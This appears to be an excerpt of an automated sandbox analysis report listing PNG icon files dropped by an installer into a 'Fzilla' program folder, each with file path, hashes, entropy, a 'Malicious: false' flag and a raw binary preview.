Preview:	.PNG........IHDR................a....IDATx.]Q..,Y...x....m.6.V.....m..m..i......E......[I.;.?9.?.<..\|..e.......'.?i`........'..?~C..>(^.-.Z:6......k.......(x....v.z.{....}.q.\|n.....6b}..\|.....c.G..8i.@.m.3V..Z.8C..a..:...(6t.).p .E.c .p..N.,.V...Y..,...u../D.n8d...j.x.a....$V...(.:./..%.....s...wz.D.+...$B5.mG...b+..U.M..w..(5.Y.y.x....vq.Z..{.pj..km.:e'....(.`.%Q..)..N.x......-`......O.A .. .w..e..$.<...c.].&.......r(o`p0.X,.n.J.....+./.@"Ap.m..a...`.'F}...._....eY(.-....l.:lZ...1.z......w.Kf..i.^o........(..B.....{\....?>.._...p8.sb~D}"..$Ib.e.qB.........S>fQ.u86m..$.ZBOU.l4.h4.].qB..;.5....t..E..F..R......B...]....C3>.)......%Q.tp...>...<a....<.`R.N..H..A....HC..r.Q=...\.>......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-T2C4J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	479
Entropy (8bit):	7.366617553120918
Encrypted:	false
SSDEEP:	12:6v/7MWOc5U5XcN/YAvvbMQxxxeaPnHbkM0g6rbXI14ToN:ka5e//TM+PHbkM0g6r014MN
MD5:	7ACE832D55D10A22C9B197C59899D06E
SHA1:	DFEC795C5BB67243800EC1CCEA270AABA32983F3
SHA-256:	9E646B0A9C11CB5106C8454D158DAABB2D2F4EC7EDB19E25D7AD7323BA68264D
SHA-512:	0E6E14AF5607948DFEC1FA73170EE6762AF680C94A4E5C6366C3F3B2720DEDC0D8BA9BF193FFE332D0D0B2124E121CF668B36A9D63B2A712FFA773AE36BC7B87
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...3.\A..cV.m'eR.F.5.Qo...x..m...}....Y.s.........q.._.y...Ax".".........!..$.....Y..rrJ...pq.~g.h..g.8.N.x..M@.m2"/O...S.R...3(.....a..{.h..o...W....s..........h.V......#..H.......j<..2Pk...)wV..^8... ...=o.j...w}.9o.z.t]...Z...R.#....T.*.1a...M..D.......8.....a.:<...z.@+].Vn.R.;.\.I.=..J...cT..%%u...8._..C...yI..7.A.... .G....99..a'.Q_...>...x;.._...h6.$.....]+...=..H#....^..Z.r.f8.P.ZLO%Qx&...s...G5c.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-T93JC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	889
Entropy (8bit):	7.726921851618158
Encrypted:	false
SSDEEP:	12:6v/7MRT60TbNnmwLEPi99epN/wmw96/qSWqcyUxasagBLI6+gVlbw+mOk/iJG+vR:ZNBEqSNomV/qS2xxaau+lbbI/pMSLw
MD5:	ECBEB06605C1645E5ABD1E9E8169F95B
SHA1:	3C15475A53C95D8561867DD72DCFFBAD8772B152
SHA-256:	1CCDFF248C2CD29D58C27AF1F29A18A2745AE0DC67723AC67351780EB5FE24E7
SHA-512:	0E3756959766938977BB4652A7A921F7A5143A181A18BE900264503257309D8F4411807D785C251BA8AF9A71FDC278A767EF2C91785EFFB7E4CC4A1885D2A21D
Malicious:	false
Preview:	.PNG........IHDR................a...@IDATx.MRC..X....1.....u...m.=...s....UE....g>T%...P.Go....'.X._.4...w.[.o/n......eYnt]...ah1...S.._.....`{.]....].....\3...7.H..tP+.0+K..\(.^..0!b#."j.&.5.0.F..(_q1Ay~t,.....0. l3..2...kP.q=.<...H....'.z...d..T....4Q.........K_.=D...9........eL9T.U.@...F/.}?(P,.!.....S.....7k...iC4e...T.h.......`...LOO..x..@.4@....l.m.L...E..{.....x.H`..._...m7.d.}qnnn9.H\|K........s..K..X.8r.G[..g.&.~.l.....MI.....x...{..~[..._..>.m".H..M5.......:.u..s.yg.w.\..$?.....wg.9....ogYv-...*..T4.........\|.Et.,R.....A..@...Jco...&Ld<..<.....a9.$...b.b.....(;.lR!k$.1h..k......>..........Hc.....Tl......KzQN-+...P.C...._p......\....(.K...2S.. b........a...TJ....[...q.... X......T..].,.29......BI.....T}x..5....Ct]G.;..h....ZJ.g]..x.....d}...sJf..M.T.M.T...u...f.d....o...md.....K.........x.Iq.....@.....w\..'.....t.2....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-TT2DB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	561
Entropy (8bit):	7.457433216032557
Encrypted:	false
SSDEEP:	12:6v/7qZWLYpu4JWTT09DH2KTJQmeWF1CRpf2mRRTkkml7:ILF46I0KfeCsjtRCkY
MD5:	8E715A8D58D1404D76CA577934514379
SHA1:	6B7AAC2360658514D72E417848B3A949153EABEF
SHA-256:	12D03B79C33A8E2230EF691CE03FDD4B228FCB8B73B6640316CF6D2BBE77C86F
SHA-512:	4B2FDD913AC36A76C1FC6B4698532160A6CECABC82BB47DB5D4B80094DDD29D1B55141283D6EDCA06A9CA72BD8CB067F1EF38A35A80A9FBFD24C76D37E22F514
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...3.\|g.....O...?.m;..S.M..6U.....m.......3g..wl...+.9..=....~...v...AcO...k...F.s+....l.i5M9....?.K3#'O.....F.A..z...R..?..r.V.R......U6.;o.8...)........"..;...b.R.b.r.5u.7..S.&...s.s..&..)f...gv..."@.h..y....6..[..m...d.....c.P..<...6.bs!.Q.9.U..`..L".5......f.....E...P.....L...O5.<......c.shl.h.P.R.5..1.`.4.4.....UP............'}..f..S.....f.........J....'.g...O....0.(.yhx.S.<......4...O?~....)%!.U........F..I.\...c....E..M)..K.....mf\|...?.,L.G......V..Z#._..\|.....-zV.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-UJ7RL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	608
Entropy (8bit):	7.593731206176663
Encrypted:	false
SSDEEP:	12:6v/75INfQSGZoMBWJCyS4QXV5+NxCLDplJ82AJoTwrI5IUO:+iPI82+38Dpw2AJotO
MD5:	204DDCD8271F4E9E14D653F6B55B568D
SHA1:	2502E22BCCE9F28D07729E8BCC73936F5DDF9CDC
SHA-256:	3D3A6FAD6F5FC366D8DD989AC06C747058298E01E5CE29A5B8CFFA650D16F9A1
SHA-512:	B8D9D2305DE5EF2B7EE2ADB0F6B020A2D112AC63FF42F301AB7250EAAAFE9A4250724D7FCA0D65382BDD4EF2036888A68E6CCD5B7B1E6C87A92584253909B7AF
Malicious:	false
Preview:	.PNG........IHDR................a...'IDATx.\|.3.]A.@...m..2F....._q...m.g\..6.5f.Y"BS......u'...[6.{.v....\|.s.]6}....8...A]..l..z....c.....R.!.....K.\|.hP0.s.E.:..O....W.C..hf.....4.P..,... .....l d}!..r..h...j... ..Ak!..\| 4.A...2...IY......a...$..\R.X.(.E...y.4.......2.T..7..ai......(..q.Z.f.e.d.$.E.NE$K..k.....b.1......?.....\|.(.AT..w...k..'....5.D.)`.u....\\9.T.c.,..F!..o..9....+....O.V. .9.....Z.?!.#,K....s...~d.}...a......\\5.6..R.0...\Q.yQ.....!.FL[.._.\.0......S<..(.....y......;..c...Sa....J.bJEg..l..e.g..y....3....8@................Dc~.b)>.\.d1..Xf#...#....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-VFP26.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	549
Entropy (8bit):	7.444281255672434
Encrypted:	false
SSDEEP:	12:6v/7ujrjVmgPGD2nBa3e082hSkd5uNKYWlWrmBTnFxnXB3eLLR9G5drq:TJRuDqtkfuNK8SVFxALLeG
MD5:	6317D91C90DD11F5A148BA8600DBF490
SHA1:	33E9F90465F279C75753035667B4BEC5273349CB
SHA-256:	483A537A084732D6D248104222F4325E2D0550F096325B461F133D2047CE97DC
SHA-512:	38DB07DCE564DC6F4E35CF6FF3DC0D1B4D957821B711074FDB54FC0DCFD916113E080A99C369947B28494693B34AEBB789DBCAE6290BDC25A2BE1791901B8BB0
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.\|.C.^1.@O^>.m{.Q=......{.9.m.....[.n.w.Q.!....Zk.qC.O..6r`i.).T.T...8.......W;...y@17......1.o..jO.;..x..._A1a....y...F.s..c........).U~..s..ui..bOI..R2...&fN/(.t...)...J.@...../=/X..A.K."......1....n@T..Cv.....Q~..@b.7.. ...X.Fc.A.Z...o.r.._.....g.Y...B......@...?8.....fm.@........u3sN./..B.1..PJ.7.....w.Na.0.(....4.J...TQR'8..( !R%2ZDK...qQ..U.;.z....~f.zpD...........N..;{...K....S.T.'......\|.Q.....]..............I7..(z..[CEQ..o.............2...M[..t:....o.7..J......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-VGMD9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	578
Entropy (8bit):	7.518615976512269
Encrypted:	false
SSDEEP:	12:6v/7g7jl86prUDWKYR4BnppWno4B2wxh94MSY:TjleSKgGpaxTtSY
MD5:	D9C835BDC68992D007B4C7D5F64DDA21
SHA1:	8C6C9CEA3DE96604C471A92C8128FBD65C371D03
SHA-256:	C81CF883392446CEDC7776C8483885072F47496B2CAB6E66A2EC367F9FF30318
SHA-512:	9AC3E20D77E5B7051767D5A8349F65FEC14FC47B3A63ECF58751F5E65A697C1AF80586A7C80D26EFA8CC795ABDAFD48CB2CF53AB5D7CDDF81390B843DCA990AC
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...3........yy.m.F...m.6..L...:...r.........U%...s.o....U..!....'.N\|#g.&.g....c1.._G.m..Nv;x.....1w....W....B....Q.....22.d..8....:.A....:.#..!.....pb..%......u.....DO.<.}..%.Sn,.ww..DP......&......aqI..ABdYd..\W..@i.U...X..W_...?Z..f..'............D...u5..2y^"..E~.l..._V...[..H...A..g...7Dy.(....]\.../'x.x.<qN...gD.6....`....../..A..H../.P......7.,:<].0G...+.LW..S:..d._n..\|2j...dz..........&=.....t..).)x...I7U.Q'.m.6$.......0....A......*.D..].lH..F.......eO".....<2..,.......C3jE.3).ww....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-VM43U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	720
Entropy (8bit):	7.535273923212619
Encrypted:	false
SSDEEP:	12:6v/7p+fyUFNbPBHrI0Lk+iemqvvGkT2KKiaqO4MvenaEo02U3Q1vpxPk:OMLBLI0oz63+KPaqSeFz2JtpBk
MD5:	67011F382FD217C10690AE63599E3D34
SHA1:	EF4F9182075DEEBAD12038EA5AA16EF8FECE15F8
SHA-256:	878DC6515328A10C7C0B7522ACFF32FF62B065646E7A3DC916DF6F96134A3FF4
SHA-512:	5ABB89BEFD99A66E56DAF68C272F8BE491F6CF65114EF010BB5C76B845E546659964B2CD3A184EB94FB0DC7B9AEA932CE2A6AFBA52501DC7889C75FAEE83675B
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b.:.......O.......7...Puss.LII....3..YAA........I.&},//................rrr\|X5...qfgg..0a..Uj..+...m.m.m..m'].:.3ml.8...(............9..@OO....@D..../Acc...~...3Pzz:\]]....}...@~~>...0<<.i..L..I.sNN.(^.......:::'..M'''... !!.....]!..'..h...@ff&...9 ...!...E".)........(......I@.3.8f/44......-m..[+.. .J.9,--EJJ.LLL...E........+++hjjBWW.....JlmmW..b.Fmm-sJ..1tRR..%.EVv6J......emm.....6...... v.........&5Js..5.9.......kg...........R=].'......d..D?OP.9....w.#t.$..O.l.0....5.....T.NN..E[.s..P..E.....[...../..o.../.o.0.h._.O.G.-'3..e..X,..z..m...^.H$.v6.w...1U...h_....)iZ?.('..^.Oz.c1.P...?XXX\...j.P(.".Qj.....}._.....Y.z.P.-i....8N.A#.?.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	536
Entropy (8bit):	7.489133032978834
Encrypted:	false
SSDEEP:	12:6v/7ewf3j4Kw98IUvitrjR7Jih1Xsh2XdY+xG/r6TtSQ:a3j4H79R7Jih18ISM
MD5:	23C8E9C541DD306DECB5C066C759355A
SHA1:	B51D1D56EDE598623C5C8BB52050751AC35DAAB9
SHA-256:	4A2F42067FC7CFD6CA98391195F21A8CC68F30089DE0673132C9D2F59507462D
SHA-512:	90E4182366599614C909DEC1B9299DE8B1323C8B60FA04FB5A707D01E7D48BE7AB7AAF475D09DD057E98CD1245F60011B45A9B12F3CDA7B3253B96498EAF26B4
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b...?.%..m.....!.. .......m.b[.L3.N....8..m.6.~t.u..;.f)..&...>....;..T..AT(%.S.I...".l\.b.@..fM..<'.=y.. q..%..CjT...R.c....JV..TJ...K.<.............J.Z-.R..J.Y`....5.-_.."/Z_."h.$q.>q....%s..D1S..Ty.q.9U..K.=...Z..p\.K.z{{...c.._&.......0zp..(.!r..m~...>\|H..?.sA.D.3o.?*..3...`..\|....s...... ..#....{.}7..i.Y.....di.........B.8..x....$#.....(W._......^}......38F.).0..\|.".^..9~.'...Uc]OO7...I...}..L..UATq.......ii..fLEQ.g../x..=f.[71s83T.Js......{..qT.<.zX....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\lock.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	780
Entropy (8bit):	7.637493245707135
Encrypted:	false
SSDEEP:	24:yG0emLDp23hNmim5N/xxKzcHzgyVqOnoa:yjLpCStH0yVGa
MD5:	681B21AB5DABED0CEF13F7D6E0F06F24
SHA1:	8313CB011C469B73AD2FE5FF7D6BA17B1095CEB1
SHA-256:	D4CD5046A3D89A259BD0690CF76D0CF61F6A19448D77149C3AEC2C3194367275
SHA-512:	7B8A705C6A785E67E5060B7BAD05A47FFCDB852C8F2D4E04255D47B1947327160B76B4184566AEDFC964A0A4A467C7CCA42AEA1020AEBBAF8F4540F065701C82
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.ba@..M.Y........caa............?.Y..456e1.......O.\|......\|.x.....-.{....W.^.?a..MMM.j.......Y.T.h...K.J.....X.(.p..../\...............r,Y.d.C.....-..//..{..........Ta.Lp....".......4.Ns\|Y.m..u...m......zu..).TJ........02<.........Y.R......p'J3.d(K...m..j.....f}..#.C..(..c.>..=........O.q]....&....n.O../.......................&..".Z.4H8)\|....C.:;...F+.`Y.\|.)...W_M....'.'...).KhL.4q..!........d.a...H1>.G.$.Kb.cX.i.P.".H..eI.m..D............U.{G5....e..op..............w...I...pG...`.qS..W.h..\....W^.[7Bkw..n;.a8...1.E.E.$..i......:7MP.a.2.h..z ....[......(..w...S[S.l..Hu....<_R..NO..'.\yW..x..3''...#...#..,R$E....#R)..s..Bea'l@... ...}].\|.P....N.8*}.'.+&.@...>..B..%..,..RvU."D....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	479
Entropy (8bit):	7.366617553120918
Encrypted:	false
SSDEEP:	12:6v/7MWOc5U5XcN/YAvvbMQxxxeaPnHbkM0g6rbXI14ToN:ka5e//TM+PHbkM0g6r014MN
MD5:	7ACE832D55D10A22C9B197C59899D06E
SHA1:	DFEC795C5BB67243800EC1CCEA270AABA32983F3
SHA-256:	9E646B0A9C11CB5106C8454D158DAABB2D2F4EC7EDB19E25D7AD7323BA68264D
SHA-512:	0E6E14AF5607948DFEC1FA73170EE6762AF680C94A4E5C6366C3F3B2720DEDC0D8BA9BF193FFE332D0D0B2124E121CF668B36A9D63B2A712FFA773AE36BC7B87
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...3.\A..cV.m'eR.F.5.Qo...x..m...}....Y.s.........q.._.y...Ax".".........!..$.....Y..rrJ...pq.~g.h..g.8.N.x..M@.m2"/O...S.R...3(.....a..{.h..o...W....s..........h.V......#..H.......j<..2Pk...)wV..^8... ...=o.j...w}.9o.z.t]...Z...R.#....T.*.1a...M..D.......8.....a.:<...z.@+].Vn.R.;.\.I.=..J...cT..%%u...8._..C...yI..7.A.... .G....99..a'.Q_...>...x;.._...h6.$.....]+...=..H#....^..Z.r.f8.P.ZLO%Qx&...s...G5c.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	889
Entropy (8bit):	7.726921851618158
Encrypted:	false
SSDEEP:	12:6v/7MRT60TbNnmwLEPi99epN/wmw96/qSWqcyUxasagBLI6+gVlbw+mOk/iJG+vR:ZNBEqSNomV/qS2xxaau+lbbI/pMSLw
MD5:	ECBEB06605C1645E5ABD1E9E8169F95B
SHA1:	3C15475A53C95D8561867DD72DCFFBAD8772B152
SHA-256:	1CCDFF248C2CD29D58C27AF1F29A18A2745AE0DC67723AC67351780EB5FE24E7
SHA-512:	0E3756959766938977BB4652A7A921F7A5143A181A18BE900264503257309D8F4411807D785C251BA8AF9A71FDC278A767EF2C91785EFFB7E4CC4A1885D2A21D
Malicious:	false
Preview:	.PNG........IHDR................a...@IDATx.MRC..X....1.....u...m.=...s....UE....g>T%...P.Go....'.X._.4...w.[.o/n......eYnt]...ah1...S.._.....`{.]....].....\3...7.H..tP+.0+K..\(.^..0!b#."j.&.5.0.F..(_q1Ay~t,.....0. l3..2...kP.q=.<...H....'.z...d..T....4Q.........K_.=D...9........eL9T.U.@...F/.}?(P,.!.....S.....7k...iC4e...T.h.......`...LOO..x..@.4@....l.m.L...E..{.....x.H`..._...m7.d.}qnnn9.H\|K........s..K..X.8r.G[..g.&.~.l.....MI.....x...{..~[..._..>.m".H..M5.......:.u..s.yg.w.\..$?.....wg.9....ogYv-...*..T4.........\|.Et.,R.....A..@...Jco...&Ld<..<.....a9.$...b.b.....(;.lR!k$.1h..k......>..........Hc.....Tl......KzQN-+...P.C...._p......\....(.K...2S.. b........a...TJ....[...q.... X......T..].,.29......BI.....T}x..5....Ct]G.;..h....ZJ.g]..x.....d}...sJf..M.T.M.T...u...f.d....o...md.....K.........x.Iq.....@.....w\..'.....t.2....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	466
Entropy (8bit):	7.333178197092268
Encrypted:	false
SSDEEP:	12:6v/7DdYRPKP0ZfG7vX3HteLw3Ziooq7wIhkq93mrE7:mdY+gfG7vX3reMwNFr+
MD5:	1395C6FCAEB46C0DF3CB8451252A08CF
SHA1:	F4815FF4760E97EBF2021438A2FF9CE621E9FD73
SHA-256:	B90409186AD9EF894F146E2BCEFACEE818915CE14A1D4E42F75979D15323835F
SHA-512:	1FDE70CEF4A5B4D050BEAB9DCD72CB5C4E307A0FE79E025AAACC1EE9BBA29C7CBD0FB13CBBD67B3EE70BCF5A593E809891F875D1EA718163F1D71A3BE184FB53
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c ..N..../`.K.....?.=.{.C..v93.e".x...P.6:..m\|....q..P.......'...a..D..Z...j6.UasN...e..5.b..6..'..m...h.Mk.._.....s.....e0.P;........._..[.q.o........Z..w(.S.+._.V.R...iW.f..x..}....I\|7.'..B..~._).Iq..O.....T......%.-..a.o3..@...H?..X...D...D...T..2.\|..:.Z....N......1..h..`..*j.RSXe.4.h...x.0.x.(.D.X.z..3.......N......DG...F...^.......0......../....dF....].@ft!.....[....L@0.p.......p.1....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	720
Entropy (8bit):	7.633461318989507
Encrypted:	false
SSDEEP:	12:6v/7p+Kil4D4QvJ+xSmulQbXtSt1T2y7pwp6cZgJXLYkL1POIw8Z84cnO8Su5DSc:OZy4D6Xk/T2yip6cKLc8S4uDZSk57
MD5:	B5CB370FCEC1442120FCCF82536014B9
SHA1:	659BAD40CE3A261D40F8092F0EFDD790C48082BD
SHA-256:	6D3046AD1956455323F8AF98BE89D4410DC3AC8234876D898F8EED9A3D3A88B6
SHA-512:	992F834B13ABB47E6E416D097315434FA37A082670667ACDC577E32F4738E510F2FBEE072F3863CDD96824C1E4FDE018E077B2031081FED3E66F1CE5CC39A8E8
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b...CB.B.".'%..G.&.0..,m]Xml......f.........qLf.mXG..zf.u....:W7..nnn.\|}}.;.z...s)..V4.(.:+........8....m3.m.o.6j.m...m...3VN.!f.n3...X.w...J....G@E.m......}....N+~J ..ok.z(...E"H.R.d2._.s...b.U.L.C..8...s../..f..%.+..l6.mvX.Vt.....6G.ck.>...e..7...GVE..Zg......9.^...;.CS`....q.?.q#...../-.kG%...V...=..G......=........J,:9..B..F...CP7..8...,D..A.6p/p=.....u.2....t......M..sc.....].1..X.N..{<...BQ.T..C....sC..v/...1.r...2.3oN....ky(8...&.+..~......C....F1z.3..C3.OH \.CsySt....U........J..........'...9.2..6+...?&PRs.4~E.S..w..S...e..d..eCI.......>...r.r..~../..s...y)=+o5.(S..............!19.kt\|JUbQ...!./.......b......4..x.6....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	725
Entropy (8bit):	7.6482137925537845
Encrypted:	false
SSDEEP:	12:6v/7skxOju0F3Or1PQC943QaD9RVxNbW2C8x712WYs3bGNUigKbZcdOF2LvE3jFk:Vkx+F0PQ7377bsw7HYs34hcMoE32
MD5:	D3D1D467B8CED3D081CE9567FD21178F
SHA1:	F891D40DACC6CF100E185C27A251566FCBE0400D
SHA-256:	32EF9005B6C120E5A314A4CA20F1F08F5F02A6584A3B4BBD2711DFD0CD359F5B
SHA-512:	153AC3930ACED1E6BDAF2EBBC6E97E7D5FAD4C873FDDD27C8A2140F6E08E2C9A388CC8B458FD11477AB1C93AFF0BD807BB555B0920A48046FB65C8F070F43318
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b ..z.M...VA.g"......h.....fgw...m.Q%u.2f.[ul;......g~.../>...?.....C....:..Z......k.. @9...t.."..0..y....u....\.J<;..\......8.x.p4.Ga .,....v..$\.Y.#._.]..qQ......Q3..i.+....!...c.e.,Z.2.2.t.^".Q.t...}....w.,....B....p...S.5.AHD..E...e#...B..}..{......4....,.N^9o....+..pm..r.v..z..(5.....{....='..D....\.....:.V...%.{..'..z.....)....~..Sl..k....y\|......O?...K.-C..]R.....]....C..C.G^..jh.....[}..>.p..!Qv....E_..z.]....=.R.s~...\.......R....M......Y.jQ....W.Ra..I..To...V...w.u..S.}....y0......!...`..1(&....\8...f..hU...`.....%.6.5t.....AS....Av...H.EG..Fw 1..fh...F................8.}...dM...(.i\|g .p.r..h.'V=.... ..2.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	750
Entropy (8bit):	7.673095567638909
Encrypted:	false
SSDEEP:	12:6v/7jx+Q3ZTb2qrneOMFFcnWwIfvS5Jm6uivFkEKcBoiDVonVtBGfhzK8aeA:KZX2qrzO6vvOcVDSnHBGfh2R9
MD5:	879AE3716290A114AC2E1DBA432EFD77
SHA1:	EABEED38702C42F24661635BEC421D45AD86383C
SHA-256:	C72217406E7F3C1BB45A5154E88376833AF99F6D288BBBD3A42C90888F4090DF
SHA-512:	F4EFC928AFE71A565A56633912B028E0D227C9F3140C2568C5C42F8978232BC4A9083DB7E5A5E94FDC0FA9F72C90487821F29853B1162C67C862E766C9107919
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.]Q..,Y...x....m.6.V.....m..m..i......E......[I.;.?9.?.<..\|..e.......'.?i`........'..?~C..>(^.-.Z:6......k.......(x....v.z.{....}.q.\|n.....6b}..\|.....c.G..8i.@.m.3V..Z.8C..a..:...(6t.).p .E.c .p..N.,.V...Y..,...u../D.n8d...j.x.a....$V...(.:./..%.....s...wz.D.+...$B5.mG...b+..U.M..w..(5.Y.y.x....vq.Z..{.pj..km.:e'....(.`.%Q..)..N.x......-`......O.A .. .w..e..$.<...c.].&.......r(o`p0.X,.n.J.....+./.@"Ap.m..a...`.'F}...._....eY(.-....l.:lZ...1.z......w.Kf..i.^o........(..B.....{\....?>.._...p8.sb~D}"..$Ib.e.qB.........S>fQ.u86m..$.ZBOU.l4.h4.].qB..;.5....t..E..F..R......B...]....C3>.)......%Q.tp...>...<a....<.`R.N..H..A....HC..r.Q=...\.>......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\server.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	408
Entropy (8bit):	7.2172892219169755
Encrypted:	false
SSDEEP:	6:6v/lhPWCdkFaMVi9TOjoHXY+3EkAJhPNpe031V8e6qKH/VHF3lE9zJlIp:6v/7tmFaMA9TdIS4So1V87qoVHFm9lli
MD5:	DCE954754C128B3FE51250C64309E87C
SHA1:	DFC6D57265675DFCED06EFFE173930E52E931CC0
SHA-256:	A6122501B77A7B5C28FE876ACADE9B24A6890D2050EA34B0C8545FE92988C545
SHA-512:	B0B215F116EB2191AFC456C7EFFD5E08CEAB793C3A0C675E68CB97773F1361DAA85A39D34DE95C047EFC37A49A50A3A8B16A3CEAABBDE10C268A3253A6EB7A44
Malicious:	false
Preview:	.PNG........IHDR................a..._IDATx.b@.M...O..........5 .d...Z....b .f.\|.w...G.........m.c..0...I5! ..?,E.....!D..e.3.....N.y\..r.J.r.J).^tr..5.T......m...v...Gt>..E..f.G..`!%N...'....U..Y8......).(^.l.....\|@....J).....dt....I.....y.x2.[..P...<e..'d....TpG..}l.O.......Ab 9.R.O...*N.. <..`..@..U.b..G.AM....,.jl.l.Z...@b 9...Z....6'd.mY..3k..u.. .-c.s_.&.>....@r 5 .0}.wM'.H..?....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\showhidden.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	694
Entropy (8bit):	7.583789062569368
Encrypted:	false
SSDEEP:	12:6v/76y80HdC+nc0fbqKHSSiSDT2fRsvUKqDhmBbs3l6l4Xrk5tBcZNRI0uS363sm:m8+lnc0+KyVSf2JcUNoBbcUyrgt6ZNRO
MD5:	19C26B4E74D39AD94B8B7F7D9712E588
SHA1:	50A09E98F41963467239BCFE24916281677AFC2C
SHA-256:	B9CDECDB91CF8412F80DB64042B51FF23A48C158A98502BC075887A7FEFB7C7F
SHA-512:	8C0D3BA0C5FEF5F6E4BD47B7EB60EE941DDEB8FEE53F904D81E784964105691B18F6DBCF34DFDD297C9DD2B9B8E37692A1AE8E9A8D640C0FBFD38FB06DEE36D7
Malicious:	false
